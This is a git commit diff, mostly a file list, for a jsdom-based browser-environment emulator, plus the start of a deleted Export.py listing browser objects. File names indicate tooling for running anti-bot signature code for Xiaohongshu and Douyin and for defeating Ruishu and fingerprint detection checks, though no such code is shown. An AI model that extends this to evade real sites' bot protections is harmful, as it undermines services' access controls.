.../lib/properties/borderLeftStyle.js | 4 +- .../lib/properties/borderLeftWidth.js | 4 +- .../lib/properties/borderRightColor.js | 4 +- .../lib/properties/borderRightStyle.js | 4 +- .../lib/properties/borderRightWidth.js | 4 +- .../cssstyle/lib/properties/borderSpacing.js | 6 +- .../cssstyle/lib/properties/borderStyle.js | 4 +- .../cssstyle/lib/properties/borderTopColor.js | 4 +- .../cssstyle/lib/properties/borderTopStyle.js | 4 +- .../cssstyle/lib/properties/borderTopWidth.js | 4 +- .../cssstyle/lib/properties/borderWidth.js | 4 +- .../cssstyle/lib/properties/bottom.js | 4 +- .../cssstyle/lib/properties/clear.js | 4 +- .../cssstyle/lib/properties/clip.js | 8 +- .../cssstyle/lib/properties/color.js | 4 +- .../cssstyle/lib/properties/cssFloat.js | 4 +- .../cssstyle/lib/properties/flex.js | 6 +- .../cssstyle/lib/properties/flexBasis.js | 4 +- .../cssstyle/lib/properties/flexGrow.js | 4 +- .../cssstyle/lib/properties/flexShrink.js | 4 +- .../cssstyle/lib/properties/float.js | 4 +- .../cssstyle/lib/properties/floodColor.js | 4 +- .../cssstyle/lib/properties/font.js | 2 +- .../cssstyle/lib/properties/fontFamily.js | 4 +- .../cssstyle/lib/properties/fontSize.js | 8 +- .../cssstyle/lib/properties/fontStyle.js | 6 +- .../cssstyle/lib/properties/fontVariant.js | 4 +- .../cssstyle/lib/properties/fontWeight.js | 4 +- .../cssstyle/lib/properties/height.js | 4 +- .../cssstyle/lib/properties/left.js | 4 +- .../cssstyle/lib/properties/lightingColor.js | 4 +- .../cssstyle/lib/properties/lineHeight.js | 4 +- .../cssstyle/lib/properties/margin.js | 12 +- .../cssstyle/lib/properties/marginBottom.js | 2 +- .../cssstyle/lib/properties/marginLeft.js | 2 +- .../cssstyle/lib/properties/marginRight.js | 2 +- .../cssstyle/lib/properties/marginTop.js | 2 +- .../cssstyle/lib/properties/opacity.js | 4 +- .../cssstyle/lib/properties/outlineColor.js | 4 +- .../cssstyle/lib/properties/padding.js | 12 +- .../cssstyle/lib/properties/paddingBottom.js | 2 +- .../cssstyle/lib/properties/paddingLeft.js | 2 +- .../cssstyle/lib/properties/paddingRight.js | 2 +- .../cssstyle/lib/properties/paddingTop.js | 2 +- .../cssstyle/lib/properties/right.js | 4 +- .../cssstyle/lib/properties/stopColor.js | 4 +- .../lib/properties/textLineThroughColor.js | 4 +- .../lib/properties/textOverlineColor.js | 4 +- .../lib/properties/textUnderlineColor.js | 4 +- .../cssstyle/lib/properties/top.js | 4 +- .../lib/properties/webkitBorderAfterColor.js | 4 +- .../lib/properties/webkitBorderBeforeColor.js | 4 +- .../lib/properties/webkitBorderEndColor.js | 4 +- .../lib/properties/webkitBorderStartColor.js | 4 +- .../lib/properties/webkitColumnRuleColor.js | 4 +- .../webkitMatchNearestMailBlockquoteColor.js | 4 +- .../lib/properties/webkitTapHighlightColor.js | 4 +- .../lib/properties/webkitTextEmphasisColor.js | 4 +- .../lib/properties/webkitTextFillColor.js | 4 +- .../lib/properties/webkitTextStrokeColor.js | 4 +- .../cssstyle/lib/properties/width.js | 4 +- .../lib/utils/getBasicPropertyDescriptor.js | 4 +- .../node_modules/cssstyle/package.json | 30 +- .../node_modules/data-urls/package.json | 14 +- .../node_modules/jsdom/README.md | 12 +- .../node_modules/jsdom/lib/api.js | 1 + .../jsdom/lib/jsdom/browser/Window.js | 2 +- .../jsdom/lib/jsdom/level2/style.js | 2 +- .../jsdom/living/events/MouseEvent-impl.js | 23 +- .../lib/jsdom/living/helpers/style-rules.js | 2 +- .../lib/jsdom/living/helpers/stylesheets.js | 2 +- .../jsdom/living/hr-time/Performance-impl.js | 1 - .../living/nodes/HTMLInputElement-impl.js | 6 +- .../living/nodes/HTMLTextAreaElement-impl.js | 4 +- .../lib/jsdom/living/window/Location-impl.js | 14 +- .../node_modules/jsdom/lib/jsdom/utils.js | 21 +- .../node_modules/jsdom/package.json | 52 +- .../node_modules/node-addon-api/LICENSE.md | 13 + .../node_modules/node-addon-api/README.md | 317 + .../node_modules/node-addon-api/common.gypi | 21 + .../node_modules/node-addon-api/except.gypi | 25 + .../node_modules/node-addon-api/index.js | 11 + .../node-addon-api/napi-inl.deprecated.h | 186 + .../node_modules/node-addon-api/napi-inl.h | 6588 ++ .../node_modules/node-addon-api/napi.h | 3191 + .../node_modules/node-addon-api/node_api.gyp | 9 + .../node_modules/node-addon-api/noexcept.gypi | 26 + .../node_modules/node-addon-api/nothing.c | 0 .../node-addon-api/package-support.json | 21 + .../node_modules/node-addon-api/package.json | 464 + .../node-addon-api/tools/README.md | 73 + .../node-addon-api/tools/check-napi.js | 99 + .../node-addon-api/tools/clang-format.js | 71 + .../node-addon-api/tools/conversion.js | 301 + .../node-addon-api/tools/eslint-format.js | 79 + .../node_modules/nwsapi/package.json | 2 +- .../node_modules/nwsapi/src/nwsapi.js | 60 +- .../node_modules/rrweb-cssom/LICENSE.txt | 20 + .../node_modules/rrweb-cssom/README.mdown | 67 + .../rrweb-cssom/lib/CSSConditionRule.js | 25 + .../rrweb-cssom/lib/CSSDocumentRule.js | 39 + .../rrweb-cssom/lib/CSSFontFaceRule.js | 36 + .../rrweb-cssom/lib/CSSGroupingRule.js | 69 + .../rrweb-cssom/lib/CSSHostRule.js | 37 + .../rrweb-cssom/lib/CSSImportRule.js | 132 + .../rrweb-cssom/lib/CSSKeyframeRule.js | 37 + .../rrweb-cssom/lib/CSSKeyframesRule.js | 39 + .../rrweb-cssom/lib/CSSMediaRule.js | 53 + .../node_modules/rrweb-cssom/lib/CSSOM.js | 3 + .../node_modules/rrweb-cssom/lib/CSSRule.js | 43 + .../rrweb-cssom/lib/CSSStyleDeclaration.js | 148 + .../rrweb-cssom/lib/CSSStyleRule.js | 190 + .../rrweb-cssom/lib/CSSStyleSheet.js | 88 + .../rrweb-cssom/lib/CSSSupportsRule.js | 36 + .../node_modules/rrweb-cssom/lib/CSSValue.js | 43 + .../rrweb-cssom/lib/CSSValueExpression.js | 344 + .../rrweb-cssom/lib/MatcherList.js | 62 + .../node_modules/rrweb-cssom/lib/MediaList.js | 61 + .../rrweb-cssom/lib/StyleSheet.js | 17 + .../node_modules/rrweb-cssom/lib/clone.js | 74 + .../node_modules/rrweb-cssom/lib/index.js | 23 + .../node_modules/rrweb-cssom/lib/parse.js | 465 + .../node_modules/rrweb-cssom/package.json | 18 + .../node_modules/tr46/README.md | 10 - .../node_modules/tr46/index.js | 6 +- .../node_modules/tr46/lib/mappingTable.json | 2 +- .../node_modules/tr46/lib/regexes.js | 12 +- .../node_modules/tr46/package.json | 22 +- .../node_modules/whatwg-url/README.md | 2 +- .../node_modules/whatwg-url/lib/URL-impl.js | 18 + .../whatwg-url/lib/URLSearchParams-impl.js | 13 +- .../whatwg-url/lib/url-state-machine.js | 12 +- .../node_modules/whatwg-url/package.json | 20 +- .../node_modules/ws/lib/websocket.js | 6 +- .../node_modules/ws/package.json | 2 +- env_xbb_lastest_jsdom/package-lock.json | 1750 + env_xbb_lastest_jsdom/package.json | 6 + env_xbb_lastest_jsdom/readme.md | 27 - env_xbb_lastest_jsdom/run/Node环境检测.html | 49 + env_xbb_lastest_jsdom/run/douyin.js | 0 env_xbb_lastest_jsdom/run/exportEnv.py | 0 env_xbb_lastest_jsdom/run/index.html | 0 env_xbb_lastest_jsdom/run/log.txt | 806 + env_xbb_lastest_jsdom/run/output.js | 94372 +++++++++++++--- env_xbb_lastest_jsdom/run/run.html | 8 +- env_xbb_lastest_jsdom/run/run.js | 16 +- env_xbb_lastest_jsdom/run/小红书-xs.js | 545 + .../run/猿人学第二届第一题.js | 3543 + env_xbb_lastest_jsdom/run/第4题.js | 65230 +++++++++++ env_xbb_lastest_jsdom/run/第三题.js | 1475 + env_xbb_lastest_jsdom/run/第五题.js | 17959 +++ env_xbb_lastest_jsdom/tools/envFunc.js | 3770 +- env_xbb_lastest_jsdom/tools/globalInit.js | 389 +- env_xbb_lastest_jsdom/tools/globalThis.js | 199 +- env_xbb_lastest_jsdom/tools/myReqHelper.js | 25 + env_xbb_lastest_jsdom/tools/printLog.js | 12 +- env_xbb_lastest_jsdom/tools/proxyObj.js | 1 + env_xbb_lastest_jsdom/tools/toolsFunc.js | 39 +- env_xbb_lastest_jsdom/tools/toolsPlugin.js | 66 +- env_xbb_lastest_jsdom/tools/userInit.js | 10 +- env_xbb_lastest_jsdom/tools/winSystemFunc.js | 41 +- env_xbb_lastest_jsdom/tools/检测点一览.js | 27 + env_xbb_lastest_jsdom/tools/添加实例化输出.js | 583 + env_xbb_lastest_jsdom/tools/脱环境/readme.md | 2 + env_xbb_lastest_jsdom/tools/脱环境/tuodom.js | 382 +- env_xbb_lastest_jsdom/tools/脱环境/tuodom.py | 3 +- env_xbb_lastest_jsdom/tools/脱环境/tuodom2.js | 355 + readme.md | 9 +- xhs-XS.js | 3 +- 1250 files changed, 271452 insertions(+), 31716 deletions(-) delete mode 100644 env_xbb_lastest_jsdom/Export.py delete mode 100644 env_xbb_lastest_jsdom/decode.js delete mode 100644 env_xbb_lastest_jsdom/decode2.js create mode 100644 env_xbb_lastest_jsdom/env copy/Attr.js create mode 100644 env_xbb_lastest_jsdom/env copy/Audio.js create mode 100644 env_xbb_lastest_jsdom/env copy/BarProp.js create mode 100644 env_xbb_lastest_jsdom/env copy/BaseAudioContext.js create mode 100644 env_xbb_lastest_jsdom/env copy/BatteryManager.js create mode 100644 env_xbb_lastest_jsdom/env copy/BeforeInstallPromptEvent.js create mode 100644 env_xbb_lastest_jsdom/env copy/Bluetooth.js create mode 100644 env_xbb_lastest_jsdom/env copy/BluetoothUUID.js create mode 100644 env_xbb_lastest_jsdom/env copy/CDATASection.js create mode 100644 env_xbb_lastest_jsdom/env copy/CSS.js create mode 100644 env_xbb_lastest_jsdom/env copy/CSSRuleList.js create mode 100644 env_xbb_lastest_jsdom/env copy/CSSStyleDeclaration.js create mode 100644 env_xbb_lastest_jsdom/env copy/CacheStorage.js create mode 100644 env_xbb_lastest_jsdom/env copy/CanvasRenderingContext2D.js create mode 100644 env_xbb_lastest_jsdom/env copy/CharacterData.js create mode 100644 env_xbb_lastest_jsdom/env copy/CloseEvent.js create mode 100644 env_xbb_lastest_jsdom/env copy/Comment.js create mode 100644 env_xbb_lastest_jsdom/env copy/CookieStore.js create mode 100644 env_xbb_lastest_jsdom/env copy/CredentialsContainer.js create mode 100644 env_xbb_lastest_jsdom/env copy/Crypto.js create mode 100644 env_xbb_lastest_jsdom/env copy/CustomElementRegistry.js create mode 100644 env_xbb_lastest_jsdom/env copy/DOMParser.js create mode 100644 env_xbb_lastest_jsdom/env copy/DOMStringList.js create mode 100644 env_xbb_lastest_jsdom/env copy/Database.js create mode 100644 env_xbb_lastest_jsdom/env copy/DeprecatedStorageInfo.js create mode 100644 env_xbb_lastest_jsdom/env copy/DeviceOrientationEvent.js create mode 100644 env_xbb_lastest_jsdom/env copy/Document.js create mode 100644 env_xbb_lastest_jsdom/env copy/DocumentFragment.js create mode 100644 env_xbb_lastest_jsdom/env copy/DocumentType.js create mode 100644 env_xbb_lastest_jsdom/env copy/Element.js create mode 100644 env_xbb_lastest_jsdom/env copy/Event.js create mode 100644 env_xbb_lastest_jsdom/env copy/EventTarget.js create mode 100644 env_xbb_lastest_jsdom/env copy/External.js create mode 100644 env_xbb_lastest_jsdom/env copy/HTMLAudioElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/HTMLCollection.js create mode 100644 env_xbb_lastest_jsdom/env copy/HTMLDocument.js create mode 100644 env_xbb_lastest_jsdom/env copy/HTMLElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/Headers.js create mode 100644 env_xbb_lastest_jsdom/env copy/History.js create mode 100644 env_xbb_lastest_jsdom/env copy/IDBDatabase.js create mode 100644 env_xbb_lastest_jsdom/env copy/IDBFactory.js create mode 100644 env_xbb_lastest_jsdom/env copy/IDBObjectStore.js create mode 100644 env_xbb_lastest_jsdom/env copy/IDBOpenDBRequest.js create mode 100644 env_xbb_lastest_jsdom/env copy/IDBRequest.js create mode 100644 env_xbb_lastest_jsdom/env copy/IDBTransaction.js create mode 100644 env_xbb_lastest_jsdom/env copy/IDBVersionChangeEvent.js create mode 100644 env_xbb_lastest_jsdom/env copy/Location.js create mode 100644 env_xbb_lastest_jsdom/env copy/LockManager.js create mode 100644 env_xbb_lastest_jsdom/env copy/MediaEncryptedEvent.js create mode 100644 env_xbb_lastest_jsdom/env copy/MediaQueryList.js create mode 100644 env_xbb_lastest_jsdom/env copy/MediaStream.js create mode 100644 env_xbb_lastest_jsdom/env copy/MimeType.js create mode 100644 env_xbb_lastest_jsdom/env copy/MimeTypeArray.js create mode 100644 env_xbb_lastest_jsdom/env copy/MouseEvent.js create mode 100644 env_xbb_lastest_jsdom/env copy/MutationObserver.js create mode 100644 env_xbb_lastest_jsdom/env copy/NamedNodeMap.js create mode 100644 env_xbb_lastest_jsdom/env copy/Navigation.js create mode 100644 env_xbb_lastest_jsdom/env copy/Navigator.js create mode 100644 env_xbb_lastest_jsdom/env copy/NetworkInformation.js create mode 100644 env_xbb_lastest_jsdom/env copy/Node.js create mode 100644 env_xbb_lastest_jsdom/env copy/NodeList.js create mode 100644 env_xbb_lastest_jsdom/env copy/Notification.js create mode 100644 env_xbb_lastest_jsdom/env copy/OfflineAudioContext.js create mode 100644 env_xbb_lastest_jsdom/env copy/OffscreenCanvasRenderingContext2D.js create mode 100644 env_xbb_lastest_jsdom/env copy/Option.js create mode 100644 env_xbb_lastest_jsdom/env copy/Path2D.js create mode 100644 env_xbb_lastest_jsdom/env copy/Performance.js create mode 100644 env_xbb_lastest_jsdom/env copy/PerformanceEntry.js create mode 100644 env_xbb_lastest_jsdom/env copy/PerformancePaintTiming.js create mode 100644 env_xbb_lastest_jsdom/env copy/PerformanceResourceTiming.js create mode 100644 env_xbb_lastest_jsdom/env copy/PermissionStatus.js create mode 100644 env_xbb_lastest_jsdom/env copy/Permissions.js create mode 100644 env_xbb_lastest_jsdom/env copy/Plugin.js create mode 100644 env_xbb_lastest_jsdom/env copy/PluginArray.js create mode 100644 env_xbb_lastest_jsdom/env copy/PointerEvent.js create mode 100644 env_xbb_lastest_jsdom/env copy/PresentationConnectionCloseEvent.js create mode 100644 env_xbb_lastest_jsdom/env copy/Promise.js create mode 100644 env_xbb_lastest_jsdom/env copy/RTCDataChannel.js create mode 100644 env_xbb_lastest_jsdom/env copy/RTCPeerConnection.js create mode 100644 env_xbb_lastest_jsdom/env copy/RTCSessionDescription.js create mode 100644 env_xbb_lastest_jsdom/env copy/Request.js create mode 100644 env_xbb_lastest_jsdom/env copy/SVGElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/SVGGElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/SVGGeometryElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/SVGGraphicsElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/SVGPathElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/SVGPatternElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/SVGSVGElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/SVGSymbolElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/SVGUseElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/Scheduler.js create mode 100644 env_xbb_lastest_jsdom/env copy/Screen.js create mode 100644 env_xbb_lastest_jsdom/env copy/ScreenOrientation.js create mode 100644 env_xbb_lastest_jsdom/env copy/SourceBuffer.js create mode 100644 env_xbb_lastest_jsdom/env copy/SpeechSynthesis.js create mode 100644 env_xbb_lastest_jsdom/env copy/SpeechSynthesisUtterance.js create mode 100644 env_xbb_lastest_jsdom/env copy/Storage.js create mode 100644 env_xbb_lastest_jsdom/env copy/StorageManager.js create mode 100644 env_xbb_lastest_jsdom/env copy/StyleMedia.js create mode 100644 env_xbb_lastest_jsdom/env copy/Text.js create mode 100644 env_xbb_lastest_jsdom/env copy/TextTrackList.js create mode 100644 env_xbb_lastest_jsdom/env copy/TrustedTypePolicyFactory.js create mode 100644 env_xbb_lastest_jsdom/env copy/UIEvent.js create mode 100644 env_xbb_lastest_jsdom/env copy/VisualViewport.js create mode 100644 env_xbb_lastest_jsdom/env copy/WebGLBuffer.js create mode 100644 env_xbb_lastest_jsdom/env copy/WebGLProgram.js create mode 100644 env_xbb_lastest_jsdom/env copy/WebGLRenderingContext.js create mode 100644 env_xbb_lastest_jsdom/env copy/WebGLShader.js create mode 100644 env_xbb_lastest_jsdom/env copy/WebGLShaderPrecisionFormat.js create mode 100644 env_xbb_lastest_jsdom/env copy/WebSocket.js create mode 100644 env_xbb_lastest_jsdom/env copy/Window.js create mode 100644 env_xbb_lastest_jsdom/env copy/WindowProperties.js create mode 100644 env_xbb_lastest_jsdom/env copy/XMLHttpRequest.js create mode 100644 env_xbb_lastest_jsdom/env copy/XMLHttpRequestEventTarget.js create mode 100644 env_xbb_lastest_jsdom/env copy/XPathExpression.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLAllCollection.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLAnchorElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLBRElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLBodyElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLButtonElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLCanvasElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLDivElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLFieldSetElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLFontElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLFormElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLFrameSetElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLHeadElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLHeadingElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLHtmlElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLIFrameElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLImageElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLInputElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLLIElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLLegendElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLLinkElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLMarqueeElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLMediaElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLMetaElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLOptGroupElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLOptionElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLParagraphElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLScriptElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLSelectElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLSpanElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLStyleElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLTitleElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLUListElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLUnknownElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/HTMLVideoElement.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/Image.js create mode 100644 env_xbb_lastest_jsdom/env copy/htmlElements/Option.js create mode 100644 env_xbb_lastest_jsdom/env/Error.js create mode 100644 env_xbb_lastest_jsdom/env/MemoryInfo.js create mode 100644 env_xbb_lastest_jsdom/knowledge/binding.gyp create mode 100644 env_xbb_lastest_jsdom/knowledge/documenet.all补法.js create mode 100644 env_xbb_lastest_jsdom/knowledge/vm2修改.txt create mode 100644 env_xbb_lastest_jsdom/knowledge/vmp网站/101.43.230.100/config.js create mode 100644 env_xbb_lastest_jsdom/knowledge/vmp网站/101.43.230.100/jscode.js create mode 100644 env_xbb_lastest_jsdom/knowledge/一些hook.js create mode 100644 env_xbb_lastest_jsdom/knowledge/总结知识.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/13.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/14.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/Node环境检测.html create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/all.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/de11.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/demo1.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/demo10.js rename env_xbb_lastest_jsdom/{exporte_Env.js => knowledge/检测/demo12.js} (100%) create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/demo2.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/demo3.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/demo4.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/demo5.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/demo6.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/demo7.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/demo8.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/elementtagname.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/iframe检测.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/obj_proto.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/testsettime.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/webrtc.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/字体指纹.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/瑞数6form检测.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测/重复代理检测.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测点.js create mode 100644 env_xbb_lastest_jsdom/knowledge/检测点.txt create mode 100644 env_xbb_lastest_jsdom/knowledge/检测点encrypt.js create mode 100644 env_xbb_lastest_jsdom/knowledge/浏览器事件.html delete mode 100644 env_xbb_lastest_jsdom/main1.js delete mode 100644 env_xbb_lastest_jsdom/main_rs5.js create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/LICENSE.md create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/README.md create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/common.gypi create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/except.gypi create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/index.js create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/napi-inl.deprecated.h create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/napi-inl.h create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/napi.h create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/node_api.gyp create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/noexcept.gypi create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/nothing.c create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/package-support.json create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/package.json create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/README.md create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/check-napi.js create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/clang-format.js create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/conversion.js create mode 100644 env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/eslint-format.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/LICENSE.txt create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/README.mdown create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSConditionRule.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSDocumentRule.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSFontFaceRule.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSGroupingRule.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSHostRule.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSImportRule.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSKeyframeRule.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSKeyframesRule.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSMediaRule.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSOM.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSRule.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSStyleDeclaration.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSStyleRule.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSStyleSheet.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSSupportsRule.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSValue.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/CSSValueExpression.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/MatcherList.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/MediaList.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/StyleSheet.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/clone.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/index.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/lib/parse.js create mode 100644 env_xbb_lastest_jsdom/node_modules/rrweb-cssom/package.json create mode 100644 env_xbb_lastest_jsdom/package-lock.json create mode 100644 env_xbb_lastest_jsdom/package.json delete mode 100644 env_xbb_lastest_jsdom/readme.md create mode 100644 env_xbb_lastest_jsdom/run/Node环境检测.html create mode 100644 env_xbb_lastest_jsdom/run/douyin.js create mode 100644 env_xbb_lastest_jsdom/run/exportEnv.py create mode 100644 env_xbb_lastest_jsdom/run/index.html create mode 100644 env_xbb_lastest_jsdom/run/小红书-xs.js create mode 100644 env_xbb_lastest_jsdom/run/猿人学第二届第一题.js create mode 100644 env_xbb_lastest_jsdom/run/第4题.js create mode 100644 env_xbb_lastest_jsdom/run/第三题.js create mode 100644 env_xbb_lastest_jsdom/run/第五题.js create mode 100644 env_xbb_lastest_jsdom/tools/myReqHelper.js create mode 100644 env_xbb_lastest_jsdom/tools/检测点一览.js create mode 100644 env_xbb_lastest_jsdom/tools/添加实例化输出.js create mode 100644 env_xbb_lastest_jsdom/tools/脱环境/readme.md create mode 100644 env_xbb_lastest_jsdom/tools/脱环境/tuodom2.js diff --git a/env_xbb_lastest_jsdom/.idea/workspace.xml b/env_xbb_lastest_jsdom/.idea/workspace.xml index eddab621..b554f7d0 100644 --- a/env_xbb_lastest_jsdom/.idea/workspace.xml +++ b/env_xbb_lastest_jsdom/.idea/workspace.xml @@ -49,8 +49,6 @@ - - diff --git a/env_xbb_lastest_jsdom/Export.py b/env_xbb_lastest_jsdom/Export.py deleted file mode 100644 index 1f2e0e70..00000000 --- a/env_xbb_lastest_jsdom/Export.py +++ /dev/null @@ -1,253 +0,0 @@ -# -*- coding: utf-8 -*- -import re -env_list=[ - "EventTarget", - "WindowProperties", - "Window", - "Node", - "Element", - "HTMLElement", - "HTMLCollection", - "HTMLAllCollection.js", - "HTMLAnchorElement.js", - "HTMLBodyElement.js", - "HTMLBRElement.js", - "HTMLButtonElement.js", - "HTMLCanvasElement.js", - "HTMLDivElement.js", - "HTMLFieldSetElement.js", - "HTMLFontElement.js", - "HTMLFormElement.js", - "HTMLFrameSetElement.js", - "HTMLHeadElement.js", - "HTMLHeadingElement.js", - "HTMLHtmlElement.js", - "HTMLIFrameElement.js", - "HTMLImageElement.js", - "HTMLInputElement.js", - "HTMLLegendElement.js", - "HTMLLIElement.js", - "HTMLLinkElement.js", - "HTMLMarqueeElement.js", - "HTMLMediaElement.js", - "HTMLMetaElement.js", - "HTMLOptGroupElement.js", - "HTMLOptionElement.js", - "HTMLParagraphElement.js", - "HTMLScriptElement.js", - "HTMLSelectElement.js", - "HTMLSpanElement.js", - "HTMLStyleElement.js", - "HTMLTitleElement.js", - "HTMLUListElement.js", - "HTMLUnknownElement.js", - "HTMLVideoElement.js", - "Image.js", - "Option.js", - "NetworkInformation", - "CustomElementRegistry", - "Event", - "UIEvent", - "MouseEvent", - "Document", - "HTMLDocument", - "Location", - "Storage", - "CharacterData", - "Text", - "Database", - "CloseEvent", - "Notification", - "IDBDatabase", - "IDBRequest", - "IDBOpenDBRequest", - "IDBFactory", - "History", - "Screen", - "CSSStyleDeclaration", - "CanvasRenderingContext2D", - "WebGLRenderingContext", - "MediaQueryList", - "CSSRuleList", - "Attr", - "Option", - "Navigation", - 